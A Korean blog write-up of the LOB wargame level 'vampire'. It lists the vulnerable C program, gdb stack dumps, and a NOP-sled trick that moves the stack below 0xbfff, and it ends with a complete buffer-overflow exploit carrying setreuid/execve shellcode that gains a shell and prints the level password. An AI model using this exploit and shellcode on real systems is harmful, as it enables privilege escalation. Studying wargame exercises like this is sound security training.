본문 바로가기

CTF_Write_UP/LOB

[LOB] troll

시작

안녕하세요 :D 두 달만에 휴가에요!!

너무너무 풀고 싶었던 LOB를 오랜만에 만지니깐 그저 행복합니닿ㅎㅎ..

더럽고 치사한 대회 문제들만 풀다가 클-린한 쉘코드를 때려박으니 기분이 좋네요

시작해보죠!!

Write UP

[troll@localhost troll]$ ll 
total 16 
-rwsr-sr-x    1 vampire  vampire     12103 Mar  2  2010 vampire 
-rw-r--r--    1 root     root          550 Mar 29  2010 vampire.c

보고싶던 친구들입니다.

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - vampire 
        - check 0xbfff 
*/ 

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[]) 
{ 
        char buffer[40]; 

        if(argc < 2){ 
                printf("argv error\n"); 
                exit(0); 
        } 

        if(argv[1][47] != '\xbf') 
        { 
                printf("stack is still your friend.\n"); 
                exit(0); 
        } 

        // here is changed! 
        if(argv[1][46] == '\xff') 
        { 
                printf("but it's not forever\n"); 
                exit(0); 
        } 

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer); 
}

첫 번째 인자값을 strcpy()로 복사하면서 BOF가 발생하네요.

특이한 점은 2개의 if문에서 \xbf가 맞는지, \xff가 아닌지를 검사합니다.

BUF + SFP로 44 bytes를 덮고 RET에서, \xbf\xff를 검사하네요.

리틀엔디언 방식으로 들어가기 때문에 1, 2번째 값이에요.

(gdb) b *main+132 
Breakpoint 1 at 0x80484b4 
(gdb) r `python -c 'print "A" * 44 + "\xaa\xaa\xaa\xbf" + "\x90" * 100 + "CCCC"'`

Breakpoint 1, 0x80484b4 in main () 
(gdb) ni 
0x80484b9 in main () 
(gdb) x/40wx $esp 
0xbffffa28:     0xbffffa30      0xbffffbb3      0x41414141      0x41414141 
0xbffffa38:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffa48:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffa58:     0x41414141      0xbfaaaaaa      0x90909090      0x90909090 
0xbffffa68:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffa78:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffa88:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffa98:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffaa8:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffab8:     0x90909090      0x90909090      0x90909090      0x43434343

두 번째 바이트로 \xff가 들어가면 안 되는데 스택이 \xbf\xff 형태로 할당되네요.

그런데 스택은 굉장히 유동적인 친구잖아요?!

어어어어어ㅓ어어어어ㅓ엄청 큰 인자를 주면 어떻게 될까요?

(gdb) r `python -c 'print "A" * 44 + "\xaa\xaa\xaa\xbf" + "\x90" * 100000 + "CCCC"'` 
Starting program: /tmp/vampire/./vampire `python -c 'print "A" * 44 + "\xaa\xaa\xaa\xbf" + "\x90" * 100000 + "CCCC"'` 

Breakpoint 1, 0x80484b4 in main () 
(gdb) ni 
0x80484b9 in main () 
(gdb) x/40wx $esp 
0xbffe73e8:     0xbffe73f0      0xbffe7577      0x41414141      0x41414141 
0xbffe73f8:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffe7408:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffe7418:     0x41414141      0xbfaaaaaa      0x90909090      0x90909090 
0xbffe7428:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffe7438:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffe7448:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffe7458:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffe7468:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffe7478:     0x90909090      0x90909090      0x90909090      0x90909090

NOP을 10만개 주었더니 \xbf\xfe로 스택 주소가 바뀐 것이 보이네요!!

RET을 저 중 하나로 돌려준 후 쉘코드를 넣어줍시다.

[troll@localhost vampire]$ ./vampire `python -c 'print "A" * 44 + "\x58\x75\xfe\xbf" + "\x90" * 100000 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`

.

.

bash$ id 
uid=509(vampire) gid=508(troll) egid=509(vampire) groups=508(troll) 
bash$ my-pass 
euid = 509 
music world

Exploit!!

마무리

LOB는 참 다양한 관점에서 문제들을 바라보네요.. 언젠간 얘네들이 유익하게 쓰일 거라고 믿습니다!!

4박 5일동안 신나게 풀어보겠습니다 ㅎㅎㅎ

감사합니다 :D

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] skeleton  (0) 2019.07.05
[LOB] vampire  (0) 2019.07.04
[LOB] orge  (0) 2019.05.09
[LOB] darkelf  (0) 2019.05.09
[LOB] wolfman  (0) 2019.05.09